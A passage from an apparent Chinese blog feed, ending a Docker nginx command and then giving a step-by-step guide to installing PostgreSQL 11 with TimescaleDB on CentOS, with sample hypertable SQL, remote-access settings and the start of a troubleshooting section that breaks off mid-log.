class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker run --name my-nginx \</span><br><span class="line">  -p 80:80 \</span><br><span class="line">  -p 443:443 \</span><br><span class="line">  -v /home/hexoBlog:/home/hexoBlog \</span><br><span class="line">  -v /home/cdn:/home/cdn \</span><br><span class="line">  -v /home/nginx/ssl:/usr/local/nginx/ssl \</span><br><span class="line">  -v /home/nginx/nginx.conf:/etc/nginx/nginx.conf \</span><br><span class="line">  -d nginx</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;直接安装&quot;&gt;直接安装&lt;/h3&gt;
&lt;h4 id=&quot;安装依赖包&quot;&gt;安装依赖包&lt;/h4&gt;
&lt;figure class=&quot;highlight shell&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/s</summary>
      
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="nginx" scheme="https://blog.allbs.cn/tags/nginx/"/>
    
  </entry>
  
  <entry>
    <title>在CenterOS中安装PostgreSql,并启用时序库timescaledb插件</title>
    <link href="https://blog.allbs.cn/posts/43034/"/>
    <id>https://blog.allbs.cn/posts/43034/</id>
    <published>2021-11-27T03:22:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h3 id="下载postgresql">下载postgresql</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install -y https://download.postgresql.org/pub/repos/yum/11/redhat/rhel-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm</span><br></pre></td></tr></table></figure><h3 id="添加repo">添加repo</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">sudo tee /etc/yum.repos.d/timescale_timescaledb.repo &lt;&lt;EOL</span><br><span class="line">[timescale_timescaledb]</span><br><span class="line">name=timescale_timescaledb</span><br><span class="line">baseurl=https://packagecloud.io/timescale/timescaledb/el/7/\$basearch</span><br><span class="line">repo_gpgcheck=1</span><br><span class="line">gpgcheck=0</span><br><span class="line">enabled=1</span><br><span class="line">gpgkey=https://packagecloud.io/timescale/timescaledb/gpgkey</span><br><span class="line">sslverify=1</span><br><span class="line">sslcacert=/etc/pki/tls/certs/ca-bundle.crt</span><br><span class="line">metadata_expire=300</span><br><span class="line">EOL</span><br><span class="line">sudo yum update -y</span><br></pre></td></tr></table></figure><h3 id="下载timesacle">下载timesacle</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install -y timescaledb-postgresql-11</span><br></pre></td></tr></table></figure><h3 id="可初始配置（基本不用执行）">可初始配置（基本不用执行）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo timescaledb-tune</span><br></pre></td></tr></table></figure><h3 id="修改默认数据目录">修改默认数据目录</h3><h4 id="在-home下创建一个Postgresql的数据目录，指定所有者postgres同时分配权限">在/home下创建一个Postgresql的数据目录，指定所有者postgres同时分配权限</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mkdir /home/postgresql_data</span><br><span class="line">chown postgres:postgres /home/postgresql_data</span><br><span class="line">chmod 750 /home/postgresql_data</span><br></pre></td></tr></table></figure><h4 id="设置环境变量">设置环境变量</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/aa0bf59ee9ee4261143f04e211f8793e.png" alt="clipboard">、</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">export PATH=/usr/pgsql-11/bin:$PATH</span><br><span class="line">export LD_LIBRARY_PATH=/usr/pgsql-11/lib</span><br><span class="line">export PGDATA=/home/postgresql_data</span><br></pre></td></tr></table></figure><h4 id="使配置生效">使配置生效</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">source /etc/profile </span><br></pre></td></tr></table></figure><h4 id="切换postgres用户-并初始化数据库">切换postgres用户 并初始化数据库</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/e3ef0f611a10ec573222c24a7c536d7c.png" alt="clipboard (1)"></p><h4 id="修改配置内容指定正确的data路径">修改配置内容指定正确的data路径</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/f4722b1e7188d49ab8d08a63c6006a65.png" alt="clipboard (2)"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/ebf6814c083b05f56a7b644e98a723a1.png" alt="image-20220707141523295"></p><h4 id="设置监听所有地址">设置监听所有地址</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/9108810b32bd6460c4bc1b27f570455d.png" alt="clipboard (4)"></p><h4 id="添加timescaledb库">添加timescaledb库</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/753871747fdba39db3c04a5c879e51d2.png" alt="clipboard (5)"></p><h4 id="配置数据库开机启动并启动数据库服务">配置数据库开机启动并启动数据库服务</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加系统服务</span></span><br><span class="line">systemctl enable postgresql-11.service</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动postgresql</span></span><br><span class="line">service postgresql-11 start</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看状态</span></span><br><span class="line">service postgresql-11 status</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">停止服务</span></span><br><span class="line">service postgresql-11 stop</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重启服务</span></span><br><span class="line">service postgresql-11 restart</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/54d61a3efee34e4e23f656e12e77d1e8.png" alt="clipboard (6)"></p><h4 id="修改用户密码">修改用户密码</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">passwd postgres</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/0c31a0421cd6a7775ebb0ffcdb079e60.png" alt="clipboard (7)"></p><h4 id="修改数据库密码">修改数据库密码</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">设置数据库密码</span></span><br><span class="line">ALTER USER postgres WITH PASSWORD &#x27;密码&#x27;;</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">登录</span></span><br><span class="line">su postgres</span><br><span class="line">psql</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">列出当前库</span></span><br><span class="line">\l</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加timescaledb扩展</span></span><br><span class="line">create extension timescaledb;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/6f4e1325c7292efc914b0c10795603d2.png" alt="clipboard (8)"></p><h4 id="创建用户数据库并指定所有者（bfprod为数据库名，postgres为用户名）">创建用户数据库并指定所有者（bfprod为数据库名，postgres为用户名）</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GRANT DATABASE bfprod OWNER postgres;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/ac258e224da2cdecd6298e120419390c.png" alt="clipboard (9)"></p><h4 id="将bfprod数据库的所有权限都赋予postgres。（必须加权限否则只能登陆不能操作）">将bfprod数据库的所有权限都赋予postgres。（必须加权限否则只能登陆不能操作）</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GRANT ALL PRIVILEGES ON DATABASE bfprod to postgres;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/9cf618d174203e3183bfeb7267a011d9.png" alt="clipboard (10)"></p><h4 id="进入数据库">进入数据库</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">psql -s bf_prod</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/abb6a3a96408d5314aeff9c8b43781d7.png" alt="clipboard (11)"></p><h3 id="timescaledb时序库操作示例">timescaledb时序库操作示例</h3><h4 id="时序表创建">时序表创建</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> bf_equipment_alarm(</span><br><span class="line">  <span class="type">time</span>        TIMESTAMPTZ       <span class="keyword">NOT NULL</span>,</span><br><span class="line">  alarm_content    TEXT              <span class="keyword">NOT NULL</span>,</span><br><span class="line">  alarm_local TEXT  <span class="keyword">NOT NULL</span>,</span><br><span class="line">  equip_code    <span class="type">VARCHAR</span>(<span class="number">10</span>)  <span class="keyword">NOT NULL</span>,</span><br><span class="line">  point_code    <span class="type">VARCHAR</span>(<span class="number">10</span>)  <span class="keyword">NULL</span>,</span><br><span class="line">  alarm_num     <span class="type">DOUBLE PRECISION</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  alarm_unit    <span class="type">VARCHAR</span>(<span class="number">10</span>) <span class="keyword">NULL</span>,</span><br><span class="line">  alarm_start_time TIMESTAMPTZ <span class="keyword">NOT NULL</span>,</span><br><span class="line">  alarm_end_time TIMESTAMPTZ <span class="keyword">NULL</span>,</span><br><span class="line">  is_elimination <span class="type">BOOLEAN</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h4 id="创建时序表">创建时序表</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;bf_equipment_alarm&#x27;</span>, <span class="string">&#x27;time&#x27;</span>);</span><br></pre></td></tr></table></figure><h4 id="高效写入">高效写入</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">INSERT INTO</span> public.bf_equipment_alarm(</span><br><span class="line">&quot;time&quot;, alarm_content, alarm_local, equip_code, point_code, alarm_num, alarm_unit, alarm_start_time, alarm_end_time, is_elimination)</span><br><span class="line"><span class="keyword">VALUES</span> (NOW(), <span class="string">&#x27;5号盐井鼓风机发出温度超标报警&#x27;</span>, <span class="string">&#x27;2号风险区生产区5号盐井&#x27;</span>, <span class="string">&#x27;bfe0001&#x27;</span>, <span class="keyword">NULL</span> , <span class="number">50</span> , <span class="string">&#x27;摄氏度&#x27;</span>, to_timestamp(<span class="string">&#x27;2020-03-26 11:29:42&#x27;</span>,<span class="string">&#x27;yyyy-mm-dd hh24:mi:ss&#x27;</span>), <span class="keyword">NULL</span>, <span class="literal">false</span>);</span><br></pre></td></tr></table></figure><h4 id="使用高级SQL查询检索数据">使用高级SQL查询检索数据</h4><h5 id="过去3小时内，每15分钟采集一次数据，按时间排序。">过去3小时内，每15分钟采集一次数据，按时间排序。</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">SELECT time_bucket(&#x27;15 minutes&#x27;, time) AS fifteen_min,</span><br><span class="line">    alarm_local, COUNT(*),</span><br><span class="line">    MAX(alarm_num) AS max_num</span><br><span class="line">  FROM bf_equipment_alarm</span><br><span class="line">  WHERE time &gt; NOW() - interval &#x27;10 hours&#x27;</span><br><span class="line">  GROUP BY fifteen_min,alarm_local</span><br><span class="line">  ORDER BY fifteen_min DESC;</span><br></pre></td></tr></table></figure><h5 id="均值查询（Median）">均值查询（Median）</h5><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="built_in">percentile_cont</span>(<span class="number">0.5</span>)</span><br><span class="line">  <span class="keyword">WITHIN</span> <span class="keyword">GROUP</span> (<span class="keyword">ORDER</span> <span class="keyword">BY</span> temperature)</span><br><span class="line">  <span class="keyword">FROM</span> conditions;</span><br></pre></td></tr></table></figure><h5 id="移动平均数（Moving-Average）">移动平均数（Moving Average）</h5><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="type">time</span>, <span class="built_in">AVG</span>(temperature) <span class="keyword">OVER</span>(<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span></span><br><span class="line">      <span class="keyword">ROWS</span> <span class="keyword">BETWEEN</span> <span class="number">9</span> PRECEDING <span class="keyword">AND</span> <span class="keyword">CURRENT</span> <span class="type">ROW</span>)</span><br><span class="line">    <span class="keyword">AS</span> smooth_temp</span><br><span class="line">  <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">WHERE</span> location <span class="operator">=</span> <span class="string">&#x27;garage&#x27;</span> <span class="keyword">and</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">interval</span> <span class="string">&#x27;1 day&#x27;</span></span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span> <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h4 id="一般sql">一般sql</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># 创建新表 </span><br><span class="line">CREATE TABLE user_tbl(name VARCHAR(20), signup_date DATE);</span><br><span class="line"># 插入数据 </span><br><span class="line">INSERT INTO user_tbl(name, signup_date) VALUES(&#x27;张三&#x27;, &#x27;2013-12-22&#x27;);</span><br><span class="line"># 选择记录 </span><br><span class="line">SELECT * FROM user_tbl;</span><br><span class="line"># 更新数据 </span><br><span class="line">UPDATE user_tbl set name = &#x27;李四&#x27; WHERE name = &#x27;张三&#x27;;</span><br><span class="line"># 删除记录 </span><br><span class="line">DELETE FROM user_tbl WHERE name = &#x27;李四&#x27; ;</span><br><span class="line"># 添加栏位 </span><br><span class="line">ALTER TABLE user_tbl ADD email VARCHAR(40);</span><br><span class="line"># 更新结构 </span><br><span class="line">ALTER TABLE user_tbl ALTER COLUMN signup_date SET NOT NULL;</span><br><span class="line"># 更名栏位 </span><br><span class="line">ALTER TABLE user_tbl RENAME COLUMN signup_date TO signup;</span><br><span class="line"># 删除栏位 </span><br><span class="line">ALTER TABLE user_tbl DROP COLUMN email;</span><br><span class="line"># 表格更名 </span><br><span class="line">ALTER TABLE user_tbl RENAME TO backup_tbl;</span><br><span class="line"># 删除表格 </span><br><span class="line">DROP TABLE IF EXISTS backup_tbl;</span><br></pre></td></tr></table></figure><h4 id="创建时序表-hypertable">创建时序表(hypertable)</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"># Create a schema for a new hypertable  </span><br><span class="line">CREATE TABLE sensor_data (  </span><br><span class="line">&quot;time&quot; timestamp with time zone NOT NULL,  </span><br><span class="line">device_id TEXT NOT NULL,  </span><br><span class="line">location TEXT NULL,  </span><br><span class="line">temperature NUMERIC NULL,  </span><br><span class="line">humidity NUMERIC NULL,  </span><br><span class="line">pm25 NUMERIC  </span><br><span class="line">);  </span><br><span class="line">  </span><br><span class="line"># Create a hypertable from this data  </span><br><span class="line">SELECT create_hypertable  </span><br><span class="line">(&#x27;sensor_data&#x27;, &#x27;time&#x27;, &#x27;device_id&#x27;, 16);  </span><br></pre></td></tr></table></figure><h4 id="迁移数据到hyper-table">迁移数据到hyper table</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># Migrate data from existing Postgres table into  </span><br><span class="line"># a TimescaleDB hypertable  </span><br><span class="line">INSERT INTO sensor_data (SELECT * FROM old_data);  </span><br></pre></td></tr></table></figure><h4 id="查询hyper-table">查询hyper table</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># Query hypertable like any SQL table  </span><br><span class="line">SELECT device_id, AVG(temperature) from sensor_data  </span><br><span class="line">WHERE temperature IS NOT NULL AND humidity &gt; 0.5  </span><br><span class="line">AND time &gt; now() - interval &#x27;7 day&#x27;  </span><br><span class="line">GROUP BY device_id;  </span><br></pre></td></tr></table></figure><h4 id="查询最近异常的数据">查询最近异常的数据</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># Metrics about resource-constrained devices  </span><br><span class="line">SELECT time, cpu, freemem, battery FROM devops  </span><br><span class="line">WHERE device_id=&#x27;foo&#x27;  </span><br><span class="line">AND cpu &gt; 0.7 AND freemem &lt; 0.2  </span><br><span class="line">ORDER BY time DESC  </span><br><span class="line">LIMIT 100;  </span><br></pre></td></tr></table></figure><h4 id="计算最近7天，每小时的异常次数">计算最近7天，每小时的异常次数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># Calculate total errors by latest firmware versions  </span><br><span class="line"># per hour over the last 7 days  </span><br><span class="line">SELECT date_trunc(&#x27;hour&#x27;, time) as hour, firmware,  </span><br><span class="line">COUNT(error_msg) as errno FROM data  </span><br><span class="line">WHERE firmware &gt; 50  </span><br><span class="line">AND time &gt; now() - interval &#x27;7 day&#x27;  </span><br><span class="line">GROUP BY hour, firmware  </span><br><span class="line">ORDER BY hour DESC, errno DESC;  </span><br></pre></td></tr></table></figure><h4 id="计算巴士的每小时平均速度">计算巴士的每小时平均速度</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># Find average bus speed in last hour  </span><br><span class="line"># for each NYC borough  </span><br><span class="line">SELECT loc.region, AVG(bus.speed) FROM bus  </span><br><span class="line">INNER JOIN loc ON (bus.bus_id = loc.bus_id)  </span><br><span class="line">WHERE loc.city = &#x27;nyc&#x27;  </span><br><span class="line">AND bus.time &gt; now() - interval &#x27;1 hour&#x27;  </span><br><span class="line">GROUP BY loc.region;  </span><br></pre></td></tr></table></figure><h4 id="展示最近12小时，每小时的平均值">展示最近12小时，每小时的平均值</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">SELECT date_trunc(&#x27;hour&#x27;, time) AS hour, AVG(weight)  </span><br><span class="line">    FROM logs  </span><br><span class="line">    WHERE device_type = &#x27;pressure-sensor&#x27; AND customer_id = 440  </span><br><span class="line">      AND time &gt; now() - interval &#x27;12 hours&#x27;  </span><br><span class="line">    GROUP BY hour;  </span><br><span class="line">  </span><br><span class="line"> hour               | AVG(weight)  </span><br><span class="line">--------------------+--------------  </span><br><span class="line"> 2017-01-04 12:00   | 170.0  </span><br><span class="line"> 2017-01-04 13:00   | 174.2  </span><br><span class="line"> 2017-01-04 14:00   | 174.0  </span><br><span class="line"> 2017-01-04 15:00   | 178.6  </span><br><span class="line"> 2017-01-04 16:00   | 173.0  </span><br><span class="line"> 2017-01-04 17:00   | 169.9  </span><br><span class="line"> 2017-01-04 18:00   | 168.1  </span><br><span class="line"> 2017-01-04 19:00   | 170.2  </span><br><span class="line"> 2017-01-04 20:00   | 167.4  </span><br><span class="line"> 2017-01-04 21:00   | 168.6  </span><br></pre></td></tr></table></figure><h4 id="监控每分钟过载的设备数量">监控每分钟过载的设备数量</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> SELECT date_trunc(&#x27;minute&#x27;, time) AS minute, COUNT(device_id)  </span><br><span class="line">    FROM logs  </span><br><span class="line">    WHERE cpu_level &gt; 0.9 AND free_mem &lt; 1024  </span><br><span class="line">      AND time &gt; now() - interval &#x27;24 hours&#x27;  </span><br><span class="line">    GROUP BY minute  </span><br><span class="line">    ORDER BY COUNT(device_id) DESC LIMIT 25;  </span><br><span class="line">  </span><br><span class="line"> minute             | heavy_load_devices  </span><br><span class="line">--------------------+---------------------  </span><br><span class="line"> 2017-01-04 14:59   | 1653  </span><br><span class="line"> 2017-01-04 15:01   | 1650  </span><br><span class="line"> 2017-01-04 15:00   | 1605  </span><br><span class="line"> 2017-01-04 15:02   | 1594  </span><br><span class="line"> 2017-01-04 15:03   | 1594  </span><br><span class="line"> 2017-01-04 15:04   | 1561  </span><br><span class="line"> 2017-01-04 15:06   | 1499  </span><br><span class="line"> 2017-01-04 15:05   | 1460  </span><br><span class="line"> 2017-01-04 15:08   | 1459  </span><br></pre></td></tr></table></figure><h4 id="最近7天，按固件版本，输出每个固件版本的报错次数">最近7天，按固件版本，输出每个固件版本的报错次数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">SELECT firmware_version, SUM(error_count) FROM logs  </span><br><span class="line">    WHERE time &gt; now() - interval &#x27;7 days&#x27;  </span><br><span class="line">    GROUP BY firmware_version  </span><br><span class="line">    ORDER BY SUM(error_count) DESC LIMIT 10;  </span><br><span class="line">  </span><br><span class="line"> firmware_version  | SUM(error_count)  </span><br><span class="line">-------------------+-------------------  </span><br><span class="line"> 1.0.10            | 191  </span><br><span class="line"> 1.1.0             | 180  </span><br><span class="line"> 1.1.1             | 179  </span><br><span class="line"> 1.0.8             | 164  </span><br><span class="line"> 1.1.3             | 161  </span><br><span class="line"> 1.1.2             | 152  </span><br><span class="line"> 1.2.1             | 144  </span><br><span class="line"> 1.2.0             | 137  </span><br><span class="line"> 1.0.7             | 130  </span><br><span class="line"> 1.0.5             | 112  </span><br><span class="line"> 1.2.2             | 110  </span><br></pre></td></tr></table></figure><h4 id="某个范围，每小时，温度高于90度的设备数量。">某个范围，每小时，温度高于90度的设备数量。</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">SELECT date_trunc(&#x27;hour&#x27;, time) AS hour, COUNT(logs.device_id)  </span><br><span class="line">    FROM logs  </span><br><span class="line">    JOIN devices ON logs.device_id = devices.id  </span><br><span class="line">    WHERE logs.temperature &gt; 90 AND devices.location = &#x27;SITE-1&#x27;  </span><br><span class="line">    GROUP BY hour;  </span><br><span class="line">  </span><br><span class="line"> hour               | COUNT(logs.device_id)  </span><br><span class="line">--------------------+------------------------  </span><br><span class="line"> 2017-01-04 12:00   | 994  </span><br><span class="line"> 2017-01-04 13:00   | 905  </span><br><span class="line"> 2017-01-04 14:00   | 875  </span><br><span class="line"> 2017-01-04 15:00   | 910  </span><br><span class="line"> 2017-01-04 16:00   | 905  </span><br><span class="line"> 2017-01-04 17:00   | 840  </span><br><span class="line"> 2017-01-04 18:00   | 801  </span><br><span class="line"> 2017-01-04 19:00   | 813  </span><br><span class="line"> 2017-01-04 20:00   | 798  </span><br></pre></td></tr></table></figure><h3 id="连接PostgreSQL实例">连接PostgreSQL实例</h3><blockquote><p>连接工具：pgAdmin、postico(mac)、navicat、DbEaverEE</p></blockquote><p><a href="https://www.pgadmin.org/download/?spm=a2c4g.11186623.2.18.49db15878F5Ojd">https://www.pgadmin.org/download/?spm=a2c4g.11186623.2.18.49db15878F5Ojd</a></p><h3 id="远程访问配置">远程访问配置</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/40ae55456320e43b4fe0740d36e1ea2a.png" alt="clipboard"></p><blockquote><p>添加配置</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">host    all             all             0.0.0.0/0            md5</span><br></pre></td></tr></table></figure><h3 id="注意事项">注意事项</h3><blockquote><p>必须开启服务器5432端口并设置用户权限alter role postgres with password ‘123’;才能正常使用工具远程访问</p></blockquote><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/16545841f4a3d07a937417b5f90d4143.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/b460ce2cb50dc854f7bbb837a829f832.png" alt="clipboard (2)"></p><h3 id="常见错误">常见错误</h3><h4 id="错误内容">错误内容</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> [root@localhost data]# systemctl status postgresql-11</span><br><span class="line">● postgresql-11.service - PostgreSQL 11 database server</span><br><span class="line">   Loaded: loaded (/usr/lib/systemd/system/postgresql-11.service; enabled; vendor preset: disabled)</span><br><span class="line">   Active: failed (Result: exit-code) since 四 2021-01-21 23:32:22 CST; 18s ago</span><br><span class="line">     Docs: https://www.postgresql.org/docs/11/static/</span><br><span class="line">  Process: 26811 ExecStartPre=/usr/pgsql-11/bin/postgresql-11-check-db-dir $&#123;PGDATA&#125; (code=exited, status=1/FAILURE)</span><br><span 